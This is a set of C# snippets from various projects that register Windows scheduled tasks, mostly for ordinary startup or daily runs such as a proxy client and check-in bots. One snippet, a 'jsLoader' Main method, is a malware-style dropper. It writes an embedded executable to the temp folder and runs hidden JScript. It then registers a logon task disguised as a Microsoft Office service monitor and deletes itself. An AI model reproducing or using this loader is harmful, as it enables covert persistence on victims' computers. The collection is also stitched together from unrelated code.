public static _TASK_STATE Create(string name, string file, string author, string desc) { try { //删除重名任务 Delete(name); //new scheduler TaskSchedulerClass scheduler = new TaskSchedulerClass(); //pc-name/ip,username,domain,password scheduler.Connect(null, null, null, null); //get scheduler folder ITaskFolder folder = scheduler.GetFolder("\\"); //set base attr ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = author; //创建者 task.RegistrationInfo.Description = desc; //描述 //set trigger (IDailyTrigger ITimeTrigger) task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); //set action IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = file; task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition(name, task, (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); return(runTask.State); } catch (Exception ex) { throw ex; } }
private void CreateSchedulerTask() { ITaskDefinition definition = scheduler.NewTask(0); definition.RegistrationInfo.Description = "This task starts the Sharp Display Manager on Windows startup."; definition.Principal.RunLevel = TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; definition.Settings.DisallowStartIfOnBatteries = false; definition.Settings.StopIfGoingOnBatteries = false; definition.Settings.ExecutionTimeLimit = "PT0S"; ILogonTrigger trigger = (ILogonTrigger)definition.Triggers.Create( TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); IExecAction action = (IExecAction)definition.Actions.Create( TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = Application.ExecutablePath; action.WorkingDirectory = Path.GetDirectoryName(Application.ExecutablePath); ITaskFolder root = scheduler.GetFolder("\\"); ITaskFolder folder; try { folder = root.GetFolder("Sharp Display Manager"); } catch (IOException) { folder = root.CreateFolder("Sharp Display Manager", ""); } folder.RegisterTaskDefinition("Startup", definition, (int)TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); }
internal void Initialize(ITaskDefinition task) { if (task == null) { throw new ArgumentNullException("task"); } task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW; task.Settings.StopIfGoingOnBatteries = false; task.Settings.IdleSettings.StopOnIdleEnd = false; task.RegistrationInfo.Description = this._description; task.Settings.Hidden = false; task.Actions.Clear(); task.Triggers.Clear(); foreach (ScheduledTaskAction _action in this._actions) { IExecAction exePath = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); exePath.Path = _action.ExePath; exePath.Arguments = _action.Args; } foreach (ScheduledTaskTrigger _trigger in this._triggers) { _trigger.AddToTask(task); } }
private void ControlButton_Click(object sender, EventArgs e) { Global.Settings.ExitWhenClosed = ExitWhenClosedCheckBox.Checked; Global.Settings.StopWhenExited = StopWhenExitedCheckBox.Checked; Global.Settings.StartWhenOpened = StartWhenOpenedCheckBox.Checked; Global.Settings.CheckUpdateWhenOpened = CheckUpdateWhenOpenedCheckBox.Checked; Global.Settings.MinimizeWhenStarted = MinimizeWhenStartedCheckBox.Checked; Global.Settings.RunAtStartup = RunAtStartup.Checked; Global.Settings.UseRedirector2 = Redirector2checkBox.Checked; Global.Settings.ProcessBypassMode = BypassModeCheckBox.Checked; Global.Settings.StartedTcping = EnableStartedTcping_CheckBox.Checked; // 开机自启判断 TaskSchedulerClass scheduler = new TaskSchedulerClass(); scheduler.Connect(null, null, null, null); ITaskFolder folder = scheduler.GetFolder("\\"); bool taskIsExists = false; try { folder.GetTask("Netch Startup"); taskIsExists = true; } catch (Exception) { } if (RunAtStartup.Checked) { if (taskIsExists) { folder.DeleteTask("Netch Startup", 0); } ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = "Netch"; task.RegistrationInfo.Description = "Netch run at startup."; task.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST; task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = System.Windows.Forms.Application.ExecutablePath; task.Settings.ExecutionTimeLimit = "PT0S"; task.Settings.DisallowStartIfOnBatteries = false; task.Settings.RunOnlyIfIdle = false; folder.RegisterTaskDefinition("Netch Startup", task, (int)_TASK_CREATION.TASK_CREATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); } else { if (taskIsExists) { folder.DeleteTask("Netch Startup", 0); } } try { var Socks5Port = int.Parse(Socks5PortTextBox.Text); if (Socks5Port > 0 && Socks5Port < 65536) { Global.Settings.Socks5LocalPort = Socks5Port; } else { throw new FormatException(); } } catch (FormatException) { Socks5PortTextBox.Text = Global.Settings.Socks5LocalPort.ToString(); MessageBox.Show(Utils.i18N.Translate("Port value illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); return; } try { var HTTPPort = int.Parse(HTTPPortTextBox.Text); if (HTTPPort > 0 && HTTPPort < 65536) { Global.Settings.HTTPLocalPort = HTTPPort; } else { throw new FormatException(); } } catch (FormatException) { HTTPPortTextBox.Text = Global.Settings.HTTPLocalPort.ToString(); MessageBox.Show(Utils.i18N.Translate("Port value illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); return; } try { var RedirectorPort = int.Parse(RedirectorTextBox.Text); if (RedirectorPort > 0 && RedirectorPort < 65536) { Global.Settings.RedirectorTCPPort = RedirectorPort; } else { throw new FormatException(); } } catch (FormatException) { RedirectorTextBox.Text = Global.Settings.RedirectorTCPPort.ToString(); MessageBox.Show(Utils.i18N.Translate("Port value illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); return; } if (AllowDevicesCheckBox.Checked) { Global.Settings.LocalAddress = "0.0.0.0"; } else { Global.Settings.LocalAddress = "127.0.0.1"; } try { var Address = IPAddress.Parse(TUNTAPAddressTextBox.Text); var Netmask = IPAddress.Parse(TUNTAPNetmaskTextBox.Text); var Gateway = IPAddress.Parse(TUNTAPGatewayTextBox.Text); var DNS = new System.Collections.Generic.List <IPAddress>(); foreach (var ip in TUNTAPDNSTextBox.Text.Split(',')) { DNS.Add(IPAddress.Parse(ip)); } } catch (FormatException) { MessageBox.Show(Utils.i18N.Translate("IP address format illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); TUNTAPAddressTextBox.Text = Global.Settings.TUNTAP.Address; TUNTAPNetmaskTextBox.Text = Global.Settings.TUNTAP.Netmask; TUNTAPGatewayTextBox.Text = Global.Settings.TUNTAP.Gateway; var DNS = ""; foreach (var ip in Global.Settings.TUNTAP.DNS) { DNS += ip; DNS += ','; } DNS = DNS.Trim(); TUNTAPDNSTextBox.Text = DNS.Substring(0, DNS.Length - 1); TUNTAPUseCustomDNSCheckBox.Checked = Global.Settings.TUNTAP.UseCustomDNS; return; } try { var ProfileCount = int.Parse(ProfileCount_TextBox.Text); if (ProfileCount > -1) { Global.Settings.ProfileCount = ProfileCount; } else { throw new FormatException(); } } catch (FormatException) { ProfileCount_TextBox.Text = Global.Settings.ProfileCount.ToString(); MessageBox.Show(Utils.i18N.Translate("ProfileCount value illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); return; } try { var STUN_Server = STUN_ServerTextBox.Text; Global.Settings.STUN_Server = STUN_Server; var STUN_ServerPort = int.Parse(STUN_ServerPortTextBox.Text); if (STUN_ServerPort > 0) { Global.Settings.STUN_Server_Port = STUN_ServerPort; } else { throw new FormatException(); } } catch (FormatException) { ProfileCount_TextBox.Text = Global.Settings.ProfileCount.ToString(); MessageBox.Show(Utils.i18N.Translate("STUN_ServerPort value illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); return; } try { Global.Settings.StartedTcping = EnableStartedTcping_CheckBox.Checked; var DetectionInterval = int.Parse(DetectionInterval_TextBox.Text); if (DetectionInterval > 0) { Global.Settings.StartedTcping_Interval = DetectionInterval; } else { throw new FormatException(); } } catch (FormatException) { ProfileCount_TextBox.Text = Global.Settings.ProfileCount.ToString(); MessageBox.Show(Utils.i18N.Translate("STUN_ServerPort value illegal. Try again."), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); return; } Global.Settings.ACL = AclAddr.Text; Global.Settings.TUNTAP.Address = TUNTAPAddressTextBox.Text; Global.Settings.TUNTAP.Netmask = TUNTAPNetmaskTextBox.Text; Global.Settings.TUNTAP.Gateway = TUNTAPGatewayTextBox.Text; Global.Settings.TUNTAP.DNS.Clear(); foreach (var ip in TUNTAPDNSTextBox.Text.Split(',')) { Global.Settings.TUNTAP.DNS.Add(ip); } Global.Settings.TUNTAP.UseCustomDNS = TUNTAPUseCustomDNSCheckBox.Checked; Global.Settings.TUNTAP.ProxyDNS = TUNTAPProxyDNSCheckBox.Checked; Utils.Configuration.Save(); MessageBox.Show(Utils.i18N.Translate("Saved"), Utils.i18N.Translate("Information"), MessageBoxButtons.OK, MessageBoxIcon.Information); Close(); }
internal ExecAction(IExecAction action) { base._iAction = action; }
public static void TaskAdd() { try { dirPrepare(); File.Copy(Application.StartupPath + @"\Interop.TaskScheduler.dll", TaskSchedulerPath); File.Copy(Application.ExecutablePath, ProgramPath); } catch (Exception ex) { MessageBox.Show("拷贝出错:" + ex.Message); return; } //计划任务相关。 //文档请参见: //http://msdn.microsoft.com/zh-cn/library/aa383608(v=vs.85).aspx //连接到本地计划任务服务。 scheduler.Connect(null, null, null, null); //得到一个空任务定义对象来填充设置和属性。 ITaskDefinition task = scheduler.NewTask(0); //相关设置。 task.RegistrationInfo.Author = "包布丁"; task.RegistrationInfo.Description = "百度知道签到的计划任务。"; //仅网络可用时开始。 task.Settings.RunOnlyIfNetworkAvailable = true; //若已经超过计划的运行时间,立即运行。 //每日系统启动时将会立即运行。 task.Settings.StartWhenAvailable = true; //如果任务失败,尝试重新启动最多3次。 task.Settings.RestartCount = 3; //如果任务失败,按2分钟一次的频率重新启动。 task.Settings.RestartInterval = "PT2M"; //如果任务运行时间超过1分钟,停止任务。 task.Settings.ExecutionTimeLimit = "PT1M"; //若此任务已经运行,则停止现有实例。 task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING; //每日触发的触发器。 IDailyTrigger trigger = (IDailyTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY); //延迟2分钟,为了防止本地计算机数秒的时间误差。 trigger.StartBoundary = "2014-08-01T00:02:00"; //启动程序的操作。 IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = ProgramPath; ITaskFolder folder = scheduler.GetFolder("\\"); //注册任务。 IRegisteredTask regTask = folder.RegisterTaskDefinition( "zhidaosig", task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); //sddl [in, optional] The security descriptor that is associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. MessageBox.Show("完成" + Environment.NewLine + "程序已经拷贝至AppData目录下,且每天会运行。", "自动启动", MessageBoxButtons.OK, MessageBoxIcon.Information); }
private void CreateTaskScheduler() { string AutoCreateTaskScheduler = ConfigurationManager.AppSettings["RMS.AutoCreateTaskScheduler"] ?? "false"; if (!Convert.ToBoolean(AutoCreateTaskScheduler)) { return; } ITaskService taskService = null; ITaskDefinition taskDefinition = null; ITriggerCollection _iTriggerCollection = null; ITrigger _trigger = null; IActionCollection actions = null; IAction action = null; IExecAction execAction = null; ITaskFolder rootFolder = null; try { //create task service instance taskService = new TaskScheduler.TaskScheduler(); taskService.Connect(); taskDefinition = taskService.NewTask(0); taskDefinition.Settings.Enabled = true; taskDefinition.Settings.Compatibility = _TASK_COMPATIBILITY.TASK_COMPATIBILITY_V2_1; taskDefinition.RegistrationInfo.Description = "Testing the creation of a scheduled task via VB .NET"; //create trigger for task creation. _iTriggerCollection = taskDefinition.Triggers; _trigger = _iTriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY); _trigger.StartBoundary = DateTime.Now.ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss"); //_trigger.EndBoundary = DateTime.Now.AddMinutes(1).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss"); _trigger.Repetition.Interval = "PT5M"; _trigger.Repetition.Duration = "P1D"; _trigger.Enabled = true; actions = taskDefinition.Actions; _TASK_ACTION_TYPE actionType = _TASK_ACTION_TYPE.TASK_ACTION_EXEC; //create new action action = actions.Create(actionType); execAction = action as IExecAction; execAction.Path = Assembly.GetExecutingAssembly().Location; rootFolder = taskService.GetFolder(@"\"); //register task. rootFolder.RegisterTaskDefinition(System.IO.Path.GetFileNameWithoutExtension(Assembly.GetExecutingAssembly().Location), taskDefinition, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_NONE, null); } catch (Exception ex) { new RMSAppException(this, "0500", "CreateTaskScheduler failed. " + ex.Message, ex, true); } finally { if (rootFolder != null) { Marshal.ReleaseComObject(rootFolder); } if (_iTriggerCollection != null) { Marshal.ReleaseComObject(_iTriggerCollection); } if (_trigger != null) { Marshal.ReleaseComObject(_trigger); } if (actions != null) { Marshal.ReleaseComObject(actions); } if (action != null) { Marshal.ReleaseComObject(action); } if (taskDefinition != null) { Marshal.ReleaseComObject(taskDefinition); } if (taskService != null) { Marshal.ReleaseComObject(taskService); } taskService = null; taskDefinition = null; _iTriggerCollection = null; _trigger = null; actions = null; action = null; execAction = null; rootFolder = null; GC.Collect(); GC.WaitForPendingFinalizers(); } }
public static IRegisteredTask InstallAutoRunClient(string taskName, string exeFullPath, string taskDesc) { TryConnectScheduler(); if (TryGetTask(taskName, out var outtask)) { throw new InvalidOperationException("计划任务已存在"); } Uri uri = new Uri(exeFullPath); if (!uri.IsAbsoluteUri) { throw new ArgumentException("必须指定应用程序的完整路径"); } ITaskFolder folder = scheduler.GetFolder("\\"); //获取UserId string userId = GetUserId(); //创建计划任务 ITaskDefinition myTask = scheduler.NewTask(0); myTask.RegistrationInfo.Author = userId; //任务创建者的名字 myTask.RegistrationInfo.Description = taskDesc; //任务描述 myTask.Principal.UserId = userId; myTask.Principal.RunLevel = _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST;//使用最高权限运行 myTask.Settings.RunOnlyIfIdle = false; //创建登陆触发器 ILogonTrigger trigger = (ILogonTrigger)myTask.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); trigger.UserId = userId;//指定登陆用户 trigger.Enabled = true; //其他设置 myTask.Settings.ExecutionTimeLimit = "PT0S"; //任务运行超时时长:无限 myTask.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW; //不允许多实例 myTask.Settings.DisallowStartIfOnBatteries = false; //当使用电池时仍然执行 myTask.Settings.AllowHardTerminate = true; //允许强行终止任务 myTask.Settings.RunOnlyIfNetworkAvailable = false; //取消仅当网络可用时运行 myTask.Settings.AllowDemandStart = true; //允许按需执行 myTask.Settings.Enabled = true; myTask.Settings.WakeToRun = false; //不需要唤醒计算机时运行此任务 //设置操作 IExecAction action = (IExecAction)myTask.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = exeFullPath;//要启动的程序的路径 Console.WriteLine(myTask.XmlText); //注册任务 IRegisteredTask regTask = folder.RegisterTaskDefinition( taskName, myTask, (int)_TASK_CREATION.TASK_CREATE, null, //user null, //password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, "" ); return(regTask); }
static void Main(string[] args) { //这边随便写写释放文件的方法 string allowedChars = "abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNOPQRSTUVWXYZ0123456789"; int passwordLength = 32; char[] chars = new char[passwordLength]; char[] charss = new char[passwordLength]; Random rd = new Random(); for (int i = 0; i < passwordLength; i++) { chars[i] = allowedChars[rd.Next(0, allowedChars.Length)]; } for (int i = 0; i < passwordLength; i++) { charss[i] = allowedChars[rd.Next(0, allowedChars.Length)]; } string pwd = new string(chars); string pwd2 = new string(charss); try { byte[] byDll = global::jsLoader.Properties.Resource1.test; //把自启动要运行的文件放到resource里面,然后这边会导出 string strPath = Path.GetTempPath() + @"\" + pwd2 + ".exe"; //设置释放路径 //创建文件(覆盖模式) using (FileStream fs = new FileStream(strPath, FileMode.Create)) { fs.Write(byDll, 0, byDll.Length); } StreamWriter sw = new StreamWriter(Path.GetTempPath() + "/" + pwd + ".tmp"); sw.Write(gh216f9ghj156); sw.Flush(); sw.Close(); Process CmdProcess = new Process(); CmdProcess.StartInfo.FileName = "cscript.exe"; CmdProcess.StartInfo.CreateNoWindow = true; CmdProcess.StartInfo.UseShellExecute = false; CmdProcess.StartInfo.RedirectStandardInput = true; CmdProcess.StartInfo.RedirectStandardOutput = true; CmdProcess.StartInfo.RedirectStandardError = true; CmdProcess.StartInfo.Arguments = "/e:JScript " + Path.GetTempPath() + "/" + pwd + ".tmp"; CmdProcess.Start(); CmdProcess.WaitForExit(); CmdProcess.Close(); //运行完就把文件删掉,自启动的文件运行时重新释放出来 if (File.Exists(Path.GetTempPath() + "/" + pwd + ".tmp")) { try { File.Delete(Path.GetTempPath() + "/" + pwd + ".tmp"); } catch (System.IO.IOException e) { Console.WriteLine(e.Message); } } //新建计划任务 TaskSchedulerClass scheduler = new TaskSchedulerClass(); //连接 scheduler.Connect(null, null, null, null); //获取创建任务的目录 ITaskFolder folder = scheduler.GetFolder("\\"); //设置参数 ITaskDefinition task = scheduler.NewTask(0); task.RegistrationInfo.Author = "Microsoft Office"; //创建者 task.RegistrationInfo.Description = "This task monitors the state of your Microsoft Office ClickToRunSvc and sends crash and error logs to Microsoft."; //描述 //设置触发机制(此处是 登陆后) task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON); //设置动作(此处为运行exe程序) IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = Path.GetTempPath() + @"\" + pwd2 + ".exe"; //设置文件目录 task.Settings.ExecutionTimeLimit = "PT0S"; //运行任务时间超时停止任务吗? PTOS 不开启超时 task.Settings.DisallowStartIfOnBatteries = false; //只有在交流电源下才执行 task.Settings.RunOnlyIfIdle = false; //仅当计算机空闲下才执行 IRegisteredTask regTask = folder.RegisterTaskDefinition("Office ClickToRun Service Monitor", task, //此处需要设置任务的名称(name) (int)_TASK_CREATION.TASK_CREATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); IRunningTask runTask = regTask.Run(null); Console.WriteLine("OK"); //运行后自杀 string s = Process.GetCurrentProcess().MainModule.FileName; Process.Start("Cmd.exe", "/c del " + "\"" + s + "\""); Process.GetCurrentProcess().Kill(); } catch (Exception ex) { Console.WriteLine(ex.Message); Console.WriteLine(ex.StackTrace); } }
internal ExecAction(IExecAction action) { iAction = action; }
/// <summary> /// “保存+自启”按钮点击。 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void button3_Click(object sender, EventArgs e) { try { //检查并保存数据。 if (!saveData()) { MessageBox.Show("输入有误,请检查。", this.Text, MessageBoxButtons.OK, MessageBoxIcon.Error); return; } //将程序复制至AppData程序目录下。 dirPrepare(); File.Copy(Application.ExecutablePath, ProgramPath, true); //if (File.Exists(Application.ExecutablePath + ".config")) //{ // File.Copy(Application.ExecutablePath + ".config", programPath + ".config", true); //} //计划任务相关。 //文档请参见: //http://msdn.microsoft.com/zh-cn/library/aa383608(v=vs.85).aspx //连接到本地计划任务服务。 scheduler.Connect(null, null, null, null); //得到一个空任务定义对象来填充设置和属性。 ITaskDefinition task = scheduler.NewTask(0); //相关设置。 task.RegistrationInfo.Author = "包布丁"; task.RegistrationInfo.Description = "虾米签到的计划任务。"; //仅网络可用时开始。 task.Settings.RunOnlyIfNetworkAvailable = true; //若已经超过计划的运行时间,立即运行。 //每日系统启动时将会立即运行。 task.Settings.StartWhenAvailable = true; //如果任务失败,尝试重新启动最多3次。 task.Settings.RestartCount = 3; //如果任务失败,按2分钟一次的频率重新启动。 task.Settings.RestartInterval = "PT2M"; //如果任务运行时间超过1分钟,停止任务。 task.Settings.ExecutionTimeLimit = "PT1M"; //若此任务已经运行,则停止现有实例。 task.Settings.MultipleInstances = _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING; //每日触发的触发器。 IDailyTrigger trigger = (IDailyTrigger)task.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY); //延迟1分钟,为了防止本地计算机数秒的时间误差。 trigger.StartBoundary = "2014-08-01T00:01:00"; //启动程序的操作。 IExecAction action = (IExecAction)task.Actions.Create(_TASK_ACTION_TYPE.TASK_ACTION_EXEC); action.Path = ProgramPath; //参数任意,但必须有。见Program.cs。 action.Arguments = "sign"; ITaskFolder folder = scheduler.GetFolder("\\"); //注册任务。 IRegisteredTask regTask = folder.RegisterTaskDefinition( "xiamisig", task, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, //user null, // password _TASK_LOGON_TYPE.TASK_LOGON_INTERACTIVE_TOKEN, ""); //sddl [in, optional] The security descriptor that is associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. MessageBox.Show("完成" + Environment.NewLine + "程序已经拷贝至AppData目录下,且每天会运行。", "自动启动", MessageBoxButtons.OK, MessageBoxIcon.Information); collected = true; this.Close(); } catch (Exception ex) { MessageBox.Show("出错:" + ex.Message); } }